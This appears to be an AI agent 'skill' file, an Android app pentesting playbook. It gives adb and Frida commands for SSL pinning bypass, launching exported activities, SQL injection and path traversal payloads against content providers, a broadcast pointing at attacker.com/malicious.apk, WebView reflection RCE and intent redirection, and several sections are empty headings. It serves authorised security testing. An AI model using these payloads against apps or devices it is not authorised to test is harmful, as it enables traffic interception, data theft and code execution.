Android Pentesting Tricks

SKILL: Android Pentesting Tricks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert Android application security testing techniques. Covers SSL pinning bypass (Frida/Objection/LSPosed), component exposure, WebView exploitation, intent redirection, root detection bypass, and Play Integrity evasion. Base models miss Frida hook specifics and multi-layer bypass chains.

0. RELATED ROUTING

Before going deep, consider loading:

• mobile-ssl-pinning-bypass for in-depth cross-platform SSL pinning bypass techniques and framework-specific hooks
• ios-pentesting-tricks when also testing the iOS version of the same app
• api-sec for backend API security testing once traffic is intercepted

Advanced Reference

Also load FRIDA_SCRIPTS.md when you need:

• Ready-to-use Frida script templates for common Android testing tasks
• Detailed hook points for OkHttp, Retrofit, Volley, WebView
• Root detection bypass script collection

1. SSL PINNING BYPASS

1.1 Frida Universal Bypass

# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause

1.2 Objection (Quick Method)

objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable

1.3 Network Security Config (Debug Builds)

If you can modify the APK or it's a debug build:

<!-- res/xml/network_security_config.xml -->
<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  <!-- Trust user-installed CAs -->
    </trust-anchors>
  </debug-overrides>
</network-security-config>

1.4 Magisk Module Approach

2. COMPONENT EXPOSURE

2.1 Exported Activities

# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"

2.2 Content Providers

# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"

2.3 Broadcast Receivers

# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data

2.4 Exported Services

# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target

3. WEBVIEW VULNERABILITIES

3.1 JavaScript Interface RCE (Pre-API 17)

// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')

3.2 Modern WebView Attacks

3.3 Deep Link to WebView Chain

1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions

4. INTENT REDIRECTION

Exported activity receives an Intent and starts another (internal) activity using data from the received Intent.

// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity

# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"

5. ROOT DETECTION BYPASS

5.1 Common Root Detection Checks

5.2 Magisk DenyList (Previously MagiskHide)

# Enable DenyList in Magisk Manager